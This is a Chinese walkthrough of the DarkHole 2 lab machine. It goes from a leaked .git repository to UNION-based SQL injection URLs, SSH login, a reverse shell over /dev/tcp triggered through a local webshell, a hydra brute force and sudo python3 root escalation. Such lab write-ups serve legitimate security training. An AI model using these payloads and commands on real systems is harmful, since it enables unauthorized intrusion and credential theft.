靶机介绍

1)靶机地址:https://download.vulnhub.com/darkhole/darkhole_2.zip

2)靶机难度:高

3)打靶目标: 取得 root 权限 + 2Flag

4)涉及攻击方法:主机发现、端口扫描、信息收集、Git 库泄漏、源码分析、SQL注入、本地端口转发、本地信息收集、密码爆破、水平提权、Root提权1、2

5)靶机简介:开发和运维人员都会使用版本管理工具来管理程序源码以及配置文件等,以便跟踪版本的更新情况,并在出现异常情况的时候,快速回滚至任何一个指定的历史版本。Git是近些年来大家普遍认可的一个版本管理工具,但如果使用不当的话,却可能因此造成源码库泄漏等安全风险。本周将利用GIT库源码泄漏,从历史版本中发现机密信息,并成功登录网站后台。不过要想突破边界,还需要结合SQL注入漏洞才能实现。该靶机的SQL注入漏洞非常具有特点,通过手动注入了解每一步注入操作。本机的提权阶段相直观,使用两种不同的提权路径进行提权

6)注释:需要将本次靶机下载后,导入到vmwar workstation运行虚拟机

打靶过程

1)主机发现

# arp-scan --interface eth1 172.24.10.0/24

2)端口扫描

①对目标靶机进行全端口扫描,发现开放了很多个端口

# nmap -p- 172.24.10.132

②对发现的端口进行服务版本、漏洞扫描

# nmap -p22,80  -A  172.24.10.132

通过扫描发现,目标靶机的80端口的web服务有可能在web服务器根目录存在.git目录

思路:git是软件开发版本管理工具,若管理员不进行清理,可能在该目录下存在web应用所有的源码,攻击着可将所有源码下载下来,进行代码审计,进而发现漏洞

③通过git commit描述可知本次更新将login.php调整的更安全了

思路:说明之前的版本可能是不安全的,如果可以拿到版本库,找到不安全的版本,进行还原,利用安全问题,即可拿到目标服务器的基本权限

3)对目标靶机80端口的web服务进行信息搜集

①查看网页,页面简单,未发现可用信息

②对web站点首页进行源代码查看,发现存在一个login.php

③打开login.php,尝试万能密码和暴力破解均无法注入

http://172.24.10.132/login.php

④更具扫描结果,访问git目录,发现了一个文件目录列表,通过COMMIT_EDITMSG 可知该目录确实是一个版本库,index文件是一个二进制文件,保存git库索引相关的信息

http://172.24.10.132/.git/

4)git源码下载并审计

①下载git库

# wget -r http://172.24.10.132/.git# ls# cd 172.24.10.132# ls -la 

②查看git历史上进行过几次版本更新,以及留下的描述信息

# git log

查看GIT版本更新描述发现,在第二个版本中为login.php文件添加了一个默认的身份认证信息

③先将原先的git版本库进行备份,基于备份下来的git库去查看,最新的源码内容

# git clone . backup# cd backup/#ls#cat login.php

通过检查发现,最后一次更新中,将客户端提交上来的内容通过mysqli_real_string函数进行了转义,因此导致SQL注入直接失败

④切换到第二个GIT版本中

# git checkout a4d900a8d85e8938d3601f3cef113ee293028e10

⑤在第二个版本的login.php中发现了一个默认的用户名lush@admin.com和密码321

5)漏洞利用,突破边界

通过上述发现的用户名和密码登录login.php,发现成功登陆只后台

http://172.24.10.132/login.php用户名:lush@admin.com密码:321

①查看后台源代码未发现更有价值、可以突破边界的信息

②发现在后台首页面地址栏中URL参数为?id=1,猜测是否存在SQL注入

http://172.24.10.132/dashboard.php?id=1

②在尝试手动将id=2,发现页面发生了变化

http://172.24.10.132/dashboard.php?id=2

③尝试通过id=1′ 发现页面变成了空白页面,怀疑此处可能存在字符型注入

172.24.10.132/dashboard.php?id=1'

④继续通过修改查询语句的条件,确定是否存在SQL注入

http://172.24.10.132/dashboard.php?id=1'+and+1=1--+        #未避免符号干扰,空格利用+占位http://172.24.10.132/dashboard.php?id=1'+and+1=2--+        #未避免符号干扰,空格利用+占位

通过上述测试发现,该页面确定存在SQL注入

⑤判断当前web应用的当前数据库表有几个字段

http://172.24.10.132/dashboard.php?id=1'+and+1=2+order+by+9--+         #页面错误http://172.24.10.132/dashboard.php?id=1'+and+1=2+order+by+6--+         #页面正确http://172.24.10.132/dashboard.php?id=1'+and+1=2+order+by+7--+         #页面错误

通过上述测试说明,当前数据库表的字段数为6

⑥通过union查询,判断哪些字段会回显数据

http://172.24.10.132/dashboard.php?id=1%27+union+select+1,2,3,4,5,6--+

根据查询只显示了id=1的结果,后续的结果页面没有显示,说明页面只显示一条数据

⑦修改id为一条不存在的记录,使其执行后面的语句

172.24.10.132/dashboard.php?id=-1'+union+select+1,2,3,4,5,6--+

通过回显可知表中第2,3,5,6字段的值会被显示到页面上

⑧查询当前数据库名为:darkhole_2

172.24.10.132/dashboard.php?id=-1'+union+select+1,database(),3,4,5,6--+

⑨查询当前数据库中darkhole_2中的表名为:ssh

http://172.24.10.132/dashboard.php?id=-1'+union+select+1,table_name,3,4,5,6+from+information_schema.tables+where+table_schema='darkhole_2'--+

⑩查询ssh表中的所有字段名为:id pass user

http://172.24.10.132/dashboard.php?id=-1'+union+select+1,group_concat(column_name),3,4,5,6+from+information_schema.columns+where+table_name='ssh'--+

⑪查询字段user和pass的数据为:jehad和foll,即用户名jehad 密码fool

http://172.24.10.132/dashboard.php?id=-1'+union+select+1,id,user,4,pass,6+from+ssh--+

⑫尝试通过用户名jehad密码fool登录目标靶机的ssh服务,发现成功登录进了目标系统,突破了边界

# ssh jehad@172.24.10.132

6)提权信息搜集

①查看操作系统版本Ubuntu 20.04.3,尝试Ubuntu的CEV-2021-3493进行提权,发现该漏洞针对本靶机无效

$lsb_release -a

②查看用户文件发现在系统中存在用户hehad、losy、lama支持远程登录

$ cat /etc/passwd

③进入当前家目录,发现存在.bash_history文件,里面保存者该用户执行过的历史命令

$cd /home/jehad$ ls -la

④查看.bash_history文件,

$cat .bash_history

发现用户利用ssh的本地端口转发将目标192.168.135.129的9999端口转发到本机的9999端口,同时使用cmd执行过系统命令,并且进行过反弹shell操作,怀疑在目标靶机的9999端口,可以直接执行系统指令。有可能该靶机已经被别人先进行渗透了

⑤查看9999端口开发情况,以及哪个进程调用了9999端口

$ ss -lntup|grep 9999$ ps -ef|grep 9999

通过检查发现在目标靶机确实存在9999端口开发,并且在/opt/web下通过PHP应用启动了一个本地的9999端口侦听

⑥查看/opt/web目录下的文件

$ cd /opt/web$ls -la$ cat index.php

通过查看/opt/web/index.php文件发现是一个webshell的页面文件

⑦检测是否可以执行命令

$ curl http://127.0.0.1:9999/?cmd=id

发现命令被成功执行,并且是以losy的权限执行的命令

7)提权

①通过命令执行的方式反弹shell,先对反弹shell代码进行URL编码

#反弹shell代码bash -c 'bash -i >& /dev/tcp/172.24.10.136/4242 0>&1'#反弹shell代码编码后bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F172%2E24%2E10%2E136%2F4242%200%3E%261%27

②反弹shell,提权至losy用户

#kali主机nc -nvlp 4242#目标靶机jehad@darkhole:/opt/web$ curl http://127.0.0.1:9999/?cmd=bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F172%2E24%2E10%2E136%2F4242%200%3E%261%27

③查看losy用户家目录下历史命令文件.bash_history

$ cd /home/losy$ ls -la$ cat .bash_history

在历史命令中发现losy的密码gang,并且执行过sudo提权的一系列命令

④先对终端进行升级,之后检查sudo权限,需要输入密码,输入gang后,发现python3配置了sudo权限

python3 -c 'import pty; pty.spawn("/bin/bash")'

⑤通过sudo利用python3直接将权限提升至root,获取到flag

$ sudo  python3 -c 'import pty; pty.spawn("/bin/bash")'# id# ls -l# cat user.txt# ls -l /home/losy# cat /home/losy/user.txt

8)其他提权方式

①突破边界后,查看用户文件,发现存在一个lama账号,也支持ssh远程登录

$ cat /etc/passwd

②通过使用lama用户对目标靶机的ssh服务进行暴力破解,可破解出lama用户的登录密码

# hydra -l lama -P /root/MidPwds.txt  ssh://172.24.10.136字典下载地址:https://github.com/Pagli0cci/FuzzDict/blob/master/SuperWordlist_%E5%AD%97%E5%85%B8/MidPwds.txt

③通过lama用户登录成功后,查看其历史命令,发现也存在sudo命令

# ssh lama@172.24.10.132$ ls -la

④查看sudo权限(密码123)发现lama可以运行系统中所有的命令,直接使用sudo su进行提权

$ sudo -l$ sudo su

补充:本地转口转发:访问目标主机内网资源的方法

#kali主机ssh -L 9999:localhost:9999 jehad@172.24.10.132  #将172.24.10.136本地监听的9999端口,映射到kali主机的9999端口

kali主机另起一个终端即可看到在kali主机也开放了9999端口